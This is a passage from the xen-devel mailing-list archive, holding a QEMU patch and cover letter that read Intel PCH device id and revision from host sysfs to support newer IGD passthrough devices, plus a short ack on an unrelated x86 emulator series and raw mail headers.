	xen-devel@lists.xenproject.org,
	Stefano Stabellini <sstabellini@kernel.org>,
	Anthony PERARD <anthony@xenproject.org>,
	"Edgar E . Iglesias" <edgar.iglesias@gmail.com>
Subject: [PATCH v2 1/3] xen/igd: get PCH info from host sysfs
Date: Thu,  9 Jul 2026 12:18:29 -0400
Message-ID: <20260709161831.17753-2-brchuckz@aol.com>
X-Mailer: git-send-email 2.47.3
In-Reply-To: <20260709161831.17753-1-brchuckz@aol.com>
References: <20260709161831.17753-1-brchuckz@aol.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Content-Length: 5807
X-purgate-ID: tlsNG-c201ff/1783613921-DA54412E-9A6E46D9/0/0
X-purgate-type: clean
X-purgate-size: 5975

The igd_combo_id_infos[] data is more than 10 years
out of date with many Intel IGD devices missing from
igd_combo_id_infos[]. This means that many devices
that could be supported will not work with the
current implementation.

For newer devices not listed in igd_combo_id_infos[],
get infos from the host sysfs to enable support for the
newer devices not listed in igd_combo_id_infos[].

Introduce the helper function xen_pt_get_host_pch_info
to facilitate getting the necessary information from
sysfs.

Also, use errp in xen_igd_passthrough_isa_bridge_create
to set errors from xen_pt_get_host_pch_info.

Signed-off-by: Chuck Zmudzinski <brchuckz@aol.com>
---
Changes in v2:
  - call error_setg* after closing files instead of before closing
    files
  - in last line of commit message change "to propagate errors" to
    "to set errors"
  - add stable to Cc list

 hw/xen/xen_pt.c          |  2 +-
 hw/xen/xen_pt_graphics.c | 82 ++++++++++++++++++++++++++++++++++++++--
 include/hw/xen/xen_igd.h |  3 +-
 3 files changed, 82 insertions(+), 5 deletions(-)

diff --git a/hw/xen/xen_pt.c b/hw/xen/xen_pt.c
index 0fe9c0a..474606e 100644
--- a/hw/xen/xen_pt.c
+++ b/hw/xen/xen_pt.c
@@ -867,7 +867,7 @@ static void xen_pt_realize(PCIDevice *d, Error **errp)
         }
 
         /* Register ISA bridge for passthrough GFX. */
-        xen_igd_passthrough_isa_bridge_create(s, &s->real_device);
+        xen_igd_passthrough_isa_bridge_create(s, &s->real_device, errp);
     }
 
     /* Handle real device's MMIO/PIO BARs */
diff --git a/hw/xen/xen_pt_graphics.c b/hw/xen/xen_pt_graphics.c
index 7df9344..2ef941e 100644
--- a/hw/xen/xen_pt_graphics.c
+++ b/hw/xen/xen_pt_graphics.c
@@ -376,8 +376,75 @@ static void pt_graphics_register_types(void)
 }
 type_init(pt_graphics_register_types)
 
+static void xen_pt_get_host_pch_info(PCIDevice *dev, uint16_t *pch_dev_id,
+                                 uint8_t *pch_rev_id, Error **errp)
+{
+    FILE *fp1, *fp2;
+    char *endptr;
+    char device_id[7], rev[5];
+    size_t len;
+    const char *device = "/sys/bus/pci/devices/0000:00:1f.0/device";
+    const char *revision = "/sys/bus/pci/devices/0000:00:1f.0/revision";
+    unsigned long val;
+
+    fp1 = fopen(device, "r");
+    if (fp1 == NULL) {
+        error_setg_errno(errp, errno, "Cannot open %s", device);
+        return;
+    }
+    fp2 = fopen(revision, "r");
+    if (fp2 == NULL) {
+        fclose(fp1);
+        error_setg_errno(errp, errno, "Cannot open %s", revision);
+        return;
+    }
+
+    len = fread(device_id, 1, 7, fp1);
+    if (!len) {
+        fclose(fp1);
+        fclose(fp2);
+        error_setg(errp, "Cannot read %s", device);
+        return;
+    }
+    len = fread(rev, 1, 5, fp2);
+    if (!len) {
+        fclose(fp1);
+        fclose(fp2);
+        error_setg(errp, "Cannot read %s", revision);
+        return;
+    }
+    fclose(fp1);
+    fclose(fp2);
+
+    val = strtoul(device_id, &endptr, 16);
+    if (val > 0xffff) {
+        error_setg(errp, "PCH device id is out of range: 0x%lx", val);
+        return;
+    }
+    if ((endptr > device_id) && (errno != ERANGE) &&
+        (errno != EINVAL)) {
+        *pch_dev_id = (uint16_t)val;
+    } else {
+        error_setg_errno(errp, errno, "device id strtoul "
+                                      "conversion failed");
+        return;
+    }
+    val = strtoul(rev, &endptr, 16);
+    if (val > 0xff) {
+        error_setg(errp, "PCH revision is out of range: 0x%lx", val);
+        return;
+    }
+    if ((endptr > rev) && (errno != ERANGE) && (errno != EINVAL)) {
+        *pch_rev_id = (uint8_t)val;
+    } else {
+        error_setg_errno(errp, errno, "revision strtoul "
+                                      "conversion failed");
+    }
+}
+
 void xen_igd_passthrough_isa_bridge_create(XenPCIPassthroughState *s,
-                                           XenHostPCIDevice *dev)
+                                           XenHostPCIDevice *dev,
+                                           Error **errp)
 {
     PCIBus *bus = pci_get_bus(&s->dev);
     struct PCIDevice *bridge_dev;
@@ -394,7 +461,16 @@ void xen_igd_passthrough_isa_bridge_create(XenPCIPassthroughState *s,
         }
     }
 
-    if (pch_dev_id == 0xffff) {
+    /* Newer devices get PCH infos from host sysfs */
+    if ((pch_dev_id == 0xffff) || !pch_rev_id) {
+        xen_pt_get_host_pch_info(&s->dev, &pch_dev_id, &pch_rev_id, errp);
+    }
+
+    XEN_PT_LOG(&s->dev, "PCH device id: 0x%x\n", pch_dev_id);
+    XEN_PT_LOG(&s->dev, "PCH revision: 0x%x\n", pch_rev_id);
+
+    if ((pch_dev_id == 0xffff) || !pch_rev_id) {
+        error_setg(errp, "failed to get PCH device id or revision");
         return;
     }
 
@@ -406,7 +482,7 @@ void xen_igd_passthrough_isa_bridge_create(XenPCIPassthroughState *s,
      * Note that vendor id is always PCI_VENDOR_ID_INTEL.
      */
     if (!bridge_dev) {
-        fprintf(stderr, "set igd-passthrough-isa-bridge failed!\n");
+        error_setg(errp, "set igd-passthrough-isa-bridge failed!");
         return;
     }
     pci_config_set_device_id(bridge_dev->config, pch_dev_id);
diff --git a/include/hw/xen/xen_igd.h b/include/hw/xen/xen_igd.h
index 7ffca06..da51f09 100644
--- a/include/hw/xen/xen_igd.h
+++ b/include/hw/xen/xen_igd.h
@@ -22,7 +22,8 @@ uint32_t igd_read_opregion(XenPCIPassthroughState *s);
 void xen_igd_reserve_slot(PCIBus *pci_bus);
 void igd_write_opregion(XenPCIPassthroughState *s, uint32_t val);
 void xen_igd_passthrough_isa_bridge_create(XenPCIPassthroughState *s,
-                                           XenHostPCIDevice *dev);
+                                           XenHostPCIDevice *dev,
+                                           Error **errp);
 
 static inline bool is_igd_vga_passthrough(XenHostPCIDevice *dev)
 {
-- 
2.52.0



From xen-devel-bounces@lists.xenproject.org Thu Jul 09 16:18:53 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 16:18:53 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1358341.1612509 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whrST-0001m3-O3; Thu, 09 Jul 2026 16:18:41 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1358341.1612509; Thu, 09 Jul 2026 16:18:41 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whrST-0001lv-Jx; Thu, 09 Jul 2026 16:18:41 +0000
Received: by outflank-mailman (input) for mailman id 1358341;
 Thu, 09 Jul 2026 16:18:40 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <brchuckz@aol.com>) id 1whrSS-0001lp-2s
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 16:18:40 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whrSR-00EFLu-Fn
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 18:18:39 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <brchuckz@aol.com>)
 id 6a4fc9cf-e002-0a2a0a5209dd-0a2a450c961a-12
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 18:18:39 +0200
Received: from [98.137.69.30] (helo=sonic316-54.consmr.mail.gq1.yahoo.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <brchuckz@aol.com>)
 id 6a4fc9dc-e897-0a2a450c0019-6289451e8f51-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 18:18:38 +0200
Received: from sonic.gate.mail.ne1.yahoo.com by
 sonic316.consmr.mail.gq1.yahoo.com with HTTP; Thu, 9 Jul 2026 16:18:36 +0000
Received: by hermes--production-ne1-7568ccb994-pgg8z (Yahoo Inc. Hermes SMTP
 Server) with ESMTPA ID e91c25460b5bcef5e32390743f7fb9e1; 
 Thu, 09 Jul 2026 16:18:33 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=a2048 header.d=aol.com header.i="@aol.com" header.h="From:To:Cc:Subject:Date:References"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=aol.com; s=a2048; t=1783613916; bh=mrIU6GXNVPCZCBo3Qt2crz430oURssPqiAE0yjZSLD0=; h=From:To:Cc:Subject:Date:References:From:Subject:Reply-To; b=LQgaQdnOePf/lU3gW5Q0gx10apEkH17dbaTzc/kHtdmv5+9+dvpMlasd/dnoKEe33B80G+kNNMmzXA5Cd+s3YoGVvHOQbJG+efWMhaB4c+Lz7Tl+dVxOOX1jis1Xkxtrtnzm7V5uIKCXj9zyJRdH6HzQ43HyQCeZVYfStImK0XrFdQqHzGZqLYntrdbmKFHPiuXm9TFIy1NiG9ql2CoUpyAUnxz0bxjpLc18a6FE8d3cZaa4e2wGChXmweuimMyOXejfkiGKkDtRtKpYBUED10nUBs9o7xlBnHHyuXQKUJgMPG4LM12FCUwMDQ+lIHztzAgYXLDGn1wyjfSVj4KlxQ==
X-SONIC-DKIM-SIGN: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo.com; s=s2048; t=1783613916; bh=zLaOhqK8l26+5z+ntFNKxd4Cp3LzLU+lZHwQnFulx6x=; h=X-Sonic-MF:From:To:Subject:Date:From:Subject; b=rqSgJItoWZSrEwch8OGUkTtyENtqtYmBE0n7J4mdw3JrTVC9/RPk58Mhy1l6odGX5IKOv7sMIaM830ul1T9upbv4FtKHr2fj8bieY8iXPcpB3JuBC8W/AcU8l12J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aGzhfNFj
 sflnzndjqycusgwq1bgoSr13FMhUiDmE2xOcoOpUJRpyk1HHh.OO8Ztn3KkGeBH5cgTHdnnw3WtU
 adC..8D3NxblrdPlhzRp9WVb0eOc2M_RCk_XYj2cHEgnx7XH4y5aBZlU_36oQigU1J1hsOvNOrI7
 yVw.RcyVroE8FRJfgsxWrpIpRU1n2.GXgqbSk88twH3F08t67CCqkUW6DCk2rs5qelnwTr9lLfRQ
 GqA4260jRhM0BFx9fsgrRgrp18Ai0Y9swOsI7qs2d0h1kYm6KB6zz3wCPHInBGi_aVkWhu3diq.b
 ZZ3MTdtWDRCvg0LbAJP_N9hpREV2Wt7Fqa58.I6adAhRqy35fG1CfjjLvn7TPRxDRJK_Kj7TbmGT
 AnzHpJf.g2PtCg8zd4lTNGHPf9f0nb.F9Uk_y
X-Sonic-MF: <brchuckz@aol.com>
X-Sonic-ID: f9312c22-5d12-4854-8ae8-c458d5f8e88a
From: Chuck Zmudzinski <brchuckz@aol.com>
To: qemu-devel@nongnu.org
Cc: stable@nongnu.org,
	xen-devel@lists.xenproject.org,
	Stefano Stabellini <sstabellini@kernel.org>,
	Anthony PERARD <anthony@xenproject.org>,
	"Edgar E . Iglesias" <edgar.iglesias@gmail.com>
Subject: [PATCH v2 0/3] xen/igd: fixes for Intel IGD passthrough
Date: Thu,  9 Jul 2026 12:18:28 -0400
Message-ID: <20260709161831.17753-1-brchuckz@aol.com>
X-Mailer: git-send-email 2.47.3
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
References: <20260709161831.17753-1-brchuckz.ref@aol.com>
Content-Length: 1211
X-purgate-ID: tlsNG-d25034/1783613918-D457E6B2-50E2990F/0/0
X-purgate-type: clean
X-purgate-size: 1246

This patch series aims to fix long-standing bugs that need
to be backported to all currently supported stable versions.

This series fixes three bugs that cause problems ranging from
a dark screen in the guest until the guest OS graphics drivers
are loaded to an assert failure that prevents the guest from
starting.

To test these patches, it is necessary to test with older Intel
IGD devices that have support for legacy VGA bios.

The patches have been tested using Xen 4.21 and Seabios 1.17
on Fedora 44 using an Intel NUC7i5BNK with an i5-7260U processor
and have been verified to fix the bugs as described in the
individual patches.

Changes in v2:
  - close open files before setting errp
  - improvements to readability and style
  - small corrections to the commit messages
  - add stable to Cc list

Chuck Zmudzinski (3):
  xen/igd: get PCH info from host sysfs
  xen/igd: don't register rom bar twice
  xen/igd: fixup device id before registering rom

 hw/xen/xen_pt.c          |  5 ++-
 hw/xen/xen_pt_graphics.c | 85 ++++++++++++++++++++++++++++++++++++++--
 hw/xen/xen_pt_load_rom.c | 18 ++++++---
 include/hw/xen/xen_igd.h |  3 +-
 4 files changed, 99 insertions(+), 12 deletions(-)

-- 
2.52.0



From xen-devel-bounces@lists.xenproject.org Thu Jul 09 17:13:19 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 17:13:19 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1358409.1612544 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whsJ0-0002Xi-AW; Thu, 09 Jul 2026 17:12:58 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1358409.1612544; Thu, 09 Jul 2026 17:12:58 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whsJ0-0002Xb-6z; Thu, 09 Jul 2026 17:12:58 +0000
Received: by outflank-mailman (input) for mailman id 1358409;
 Thu, 09 Jul 2026 17:12:56 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrew.cooper@citrix.com>) id 1whsIy-0002XV-Jq
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 17:12:56 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whsIy-003cAB-0b
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 19:12:56 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a4fd691-bab6-0a2a0a5309dd-0a2a450889e8-14
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 19:12:55 +0200
Received: from [52.101.201.70]
 (helo=PH7PR06CU001.outbound.protection.outlook.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a4fd696-ee29-0a2a45080019-3465c946d4bd-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 19:12:55 +0200
Received: from IA1PR03MB8288.namprd03.prod.outlook.com (2603:10b6:208:59e::6)
 by BN8PR03MB4946.namprd03.prod.outlook.com (2603:10b6:408:7c::24)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.16; Thu, 9 Jul
 2026 17:12:52 +0000
Received: from IA1PR03MB8288.namprd03.prod.outlook.com
 ([fe80::b5ee:28c6:e04b:5599]) by IA1PR03MB8288.namprd03.prod.outlook.com
 ([fe80::b5ee:28c6:e04b:5599%3]) with mapi id 15.21.0181.012; Thu, 9 Jul 2026
 17:12:52 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=citrix.com header.i="@citrix.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=Z+MgrYC97hvgN7wpbuMupuwKzpy+bQmCHRu553pBX2DVQV+HDPiYgFbigLyUza96/D8FJ7268h9p2WhWCdNPSHrA6Jl10K74fmvCf+u6n2fl020od9fq/2YhKbguRBWwuBa47m/Ol8icmLg2+D/qiKbHZ8re1WgbgD3zjl3K3PkVfzPhrRHDVSxxVBHw4Oc0wXG8g3DPqoctMXpLtbVEupQtiZp290E07nnXmm7TEtRi3XeEOL5iBRsj3gERY90CkLPmZJewI+y8ryMU1wE/LlJCkOg2xdKcdT6y7XGT3ZAuMigOD4O6o5XflzKTpRI98YTZSCLGP2bCg5n3tEVa1g==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=Ju/O6AevlftF5ktqxn/O072TWeC3ENxAqH3Y08khe4U=;
 b=Wd5wXdQmtyqYR3Vcgk/IKT7mZJe/2UGjOJrbVQ/PJKB1HxXtF1lYz/SMhnFTplN/PzpQJHXYIV6jun/ans1ssXScqhFG89Omo3KsKwy0MHTDcIm02Q9YzunmyTOcq1WfLvEk2c7rFaS1UaCvfnq/ZCNM0KQo4rMvFJhpYFotrWN5ZPQMYq1m4jz0fENf0M2ifnRq/MyCDD00vI04avz3rm9xvmPrNd/oSZbZiRPF9RQjpt33g9tRbt2lolR/+uVTbKuEAlJgrlrCjh41cXgcApezxnh3Qpre54qPhxO1D6R5SVqdYbbEkr/TD26lKNInf+sU9YBV1tiW1GK/b35IiQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=citrix.com; dmarc=pass action=none header.from=citrix.com;
 dkim=pass header.d=citrix.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=citrix.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=Ju/O6AevlftF5ktqxn/O072TWeC3ENxAqH3Y08khe4U=;
 b=Yde1GMHrVWxOPJvgPIum2NOF6kja3uBZuAXAHvK7jjtTdYB/YXr0txfYzV03iFLNd2EFgo+nq+6VkcDRV4S7CZUfqAyudVm7BzHijbyObHOTVJbHq/SRqkyqUU4JFlJ+ajGeoy0o8i9wpP0amy7+mAwww2pjIEiPyflCn/m9Mi0=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=citrix.com;
Message-ID: <25047ac2-3423-4e81-90f0-93a2e47dbf09@citrix.com>
Date: Thu, 9 Jul 2026 18:12:49 +0100
User-Agent: Mozilla Thunderbird
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>
Subject: Re: [PATCH 0/2] x86: adjustments to building of the insn emulator
To: Jan Beulich <jbeulich@suse.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
References: <8a3ee9c3-489a-4dbf-b61b-cd078322b786@suse.com>
Content-Language: en-GB
From: Andrew Cooper <andrew.cooper3@citrix.com>
Autocrypt: addr=andrew.cooper3@citrix.com; keydata=
 xsFNBFLhNn8BEADVhE+Hb8i0GV6mihnnr/uiQQdPF8kUoFzCOPXkf7jQ5sLYeJa0cQi6Penp
 VtiFYznTairnVsN5J+ujSTIb+OlMSJUWV4opS7WVNnxHbFTPYZVQ3erv7NKc2iVizCRZ2Kxn
 srM1oPXWRic8BIAdY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ACD1Qf/er8EA7g23HMxYWd3FXHThrVQ
 HgiGdk5Yh632vjOm9L4sd/GCEACVQKjsu98e8o3ysitFlznEns5EAAXEbITrgKWXDDUWGYxd
 pnjj2u+GkVdsOAGk0kxczX6s+VRBhpbBI2PWnOsRJgU2n10PZ3mZD4Xu9kU2IXYmuW+e5KCA
 vTArRUdCrAtIa1k01sPipPPw6dfxx2e5asy21YOytzxuWFfJTGnVxZZSCyLUO83sh6OZhJkk
 b9rxL9wPmpN/t2IPaEKoAc0FTQZS36wAMOXkBh24PQ9gaLJvfPKpNzGD8XWR5HHF0NLIJhgg
 4ZlEXQ2fVp3XrtocHqhu4UZR4koCijgB8sB7Tb0GCpwK+C4UePdFLfhKyRdSXuvY3AHJd4CP
 4JzW0Bzq/WXY3XMOzUTYApGQpnUpdOmuQSfpV9MQO+/jo7r6yPbxT7CwRS5dcQPzUiuHLK9i
 nvjREdh84qycnx0/6dDroYhp0DFv4udxuAvt1h4wGwTPRQZerSm4xaYegEFusyhbZrI0U9tJ
 B8WrhBLXDiYlyJT6zOV2yZFuW47VrLsjYnHwn27hmxTC/7tvG3euCklmkn9Sl9IAKFu29RSo
 d5bD8kMSCYsTqtTfT6W4A3qHGvIDta3ptLYpIAOD2sY3GYq2nf3Bbzx81wZK14JdDDHUX2Rs
 6+ahAA==
In-Reply-To: <8a3ee9c3-489a-4dbf-b61b-cd078322b786@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-ClientProxiedBy: LO4P123CA0566.GBRP123.PROD.OUTLOOK.COM
 (2603:10a6:600:33b::16) To IA1PR03MB8288.namprd03.prod.outlook.com
 (2603:10b6:208:59e::6)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: IA1PR03MB8288:EE_|BN8PR03MB4946:EE_
X-MS-Office365-Filtering-Correlation-Id: e2afa6a9-532c-4da3-c577-08dedddd4f3e
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|366016|376014|23010399003|1800799024|56012099006|11063799006|22082099003|18002099003;
X-Microsoft-Antispam-Message-Info:
	ANbLQ3s9OUo/bKIuxBLBpPRitbnTbMIx3pWNnmOOFSu4nRCkoGwCZ6CkyoXlCOQuqVCUWClaLLI1Tn01BWxWgBVE38bu75HUSDLmKxey5TvEN+87McT3URcc+gGCm8n4QYVFgNkHAmAaQumk+D2A3dqJT4m0LdyZOUy8Lpy9cAm3ie53FDYT1BZaBRrG8HSDOy0SP38srDIv7PtR4iqsU0FO3mtKro5LtCuYMksYHDS27gyIkTwxk7NzXvA0Sh65alLQf5zhKO9W3sYJlOIxPMIAK5/kq7cJNEMemzacIlAhEZ9lIBgZ/ucUWripvm7fD8kELr/+KpfWVVCch0nvrM+oyszpr3YCHb7hV0sdub2ENOPb5rmXdw2RjZnHkIyIbvR99/LVxX+GyK8m1+roA10BRHrbDdvKNNxz++/8hSmI68goPgSmdlv3Gqn74xUw246/L/U9HzOQ8DYftzqpqe/6NhD04q5XgWMpDu/8whrQwPXMp8QD/I8S2DrDYDFXb4rQBCkQA52KQY2Z+qSB3aJnrcDvIlHugCjn1G+EE06TMRauGOOLzv6RbSxJ19yxKcEubqNcoEj/j9xBDWZoXk5uS/3eqgo2qymon2uRxt07ajNRg75X2nh+DJovGHu5qCyH5thvUTvG7O3tmN5ZbAU6F6yzrAjnfNS9J9H/d3U=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:IA1PR03MB8288.namprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(366016)(376014)(23010399003)(1800799024)(56012099006)(11063799006)(22082099003)(18002099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?utf-8?B?VmFFblBKd2VRSDZVeXJPSjFUQTlYNEVjTEQwZ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VZ2k0eHAxd2IyM0RTOTErYWFZUW15a1dvNlY3SDEx?=
 =?utf-8?B?TTZQVGpudnN4VFpqdldaeE95b0J6anpITFVsWEt4VE1qaThTWlY5UlFYcmRU?=
 =?utf-8?B?YzZlR2VNWEV5TzR5aVJQRVJnUzd4RjJPdUo5bnAvbkNLanRxUDJCOWgvcWl1?=
 =?utf-8?B?ZDZEWm9sdDd5STMwQUlaZFFpcHZFV1RrNmM4S0ZzTXlMUUZkTXJOZkdGaFhL?=
 =?utf-8?B?S0pUaUx3WDlYU25HY1V5U0FVS3BGNi9kNCt2ZjEzZGZValh3WTRaTkp4TGs0?=
 =?utf-8?B?MXc3THZQNnZNYjRvandTdjF1U0VMZUJPZmlnRStHOEF1Ti9veWdBYThMYWYy?=
 =?utf-8?B?VlpWcllIaW9KdzZyZ2JrVWlFNjREL0UrUnRlc1BqalA5MGpTSGRnNHN2ay9Q?=
 =?utf-8?B?akRXNis5Nm1jNjNNUXBkRzZvUkdLbEZaUUVJNFJjUkdxMWhMRHE0T25tQnE5?=
 =?utf-8?B?WHBlakl4aWVWOXpXQmNjejZ0YVpmUVhvY2pPaGFHT254SGRJeXc5T0Z6YVNL?=
 =?utf-8?B?a1hybjBYaUw5WDlJby9vM3hkQUlRTmxYSTNvUXFnMkpiRlh5Z0svdz09?=
X-OriginatorOrg: citrix.com
X-MS-Exchange-CrossTenant-Network-Message-Id: e2afa6a9-532c-4da3-c577-08dedddd4f3e
X-MS-Exchange-CrossTenant-AuthSource: IA1PR03MB8288.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 09 Jul 2026 17:12:52.0782
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 335836de-42ef-43a2-b145-348c2ee9ca5b
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: cKdCFZzwkJF1N7xyFBbPZIer6cxVetmR1xpPZxFBWVevwWPSDzSNIRLDQKiGqCu5nWO4qhxnRmFE1IAciUqhTzygj2zrTUZ92EBh/ndCBp8=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: BN8PR03MB4946
X-purgate-ID: tlsNG-c1860d/1783617175-1256E01C-289022E6/0/0
X-purgate-type: clean
X-purgate-size: 292

On 09/07/2026 12:56 pm, Jan Beulich wrote:
> 1: x86emul: drop wrapper C file
> 2: x86: put x86_emulate/ early in $(obj-y)
>
> Possibly the latter patch could also be folded into the former one.

They're better split IMO.Â Â 

Both Acked-by: Andrew Cooper <andrew.cooper3@citrix.com>


From xen-devel-bounces@lists.xenproject.org Thu Jul 09 18:35:40 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 18:35:40 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1358457.1612580 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whtat-0004Ea-Ff; Thu, 09 Jul 2026 18:35:31 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1358457.1612580; Thu, 09 Jul 2026 18:35:31 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whtat-0004ET-C1; Thu, 09 Jul 2026 18:35:31 +0000
Received: by outflank-mailman (input) for mailman id 1358457;
 Thu, 09 Jul 2026 18:35:30 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <brchuckz@aol.com>) id 1whtas-0003o1-DT
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 18:35:30 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whtar-004bSK-Py
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 20:35:29 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <brchuckz@aol.com>)
 id 6a4fe9ee-5cb7-0a2a0a5109dd-0a2a450b9898-2
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 20:35:26 +0200
Received: from [98.137.68.31] (helo=sonic308-55.consmr.mail.gq1.yahoo.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
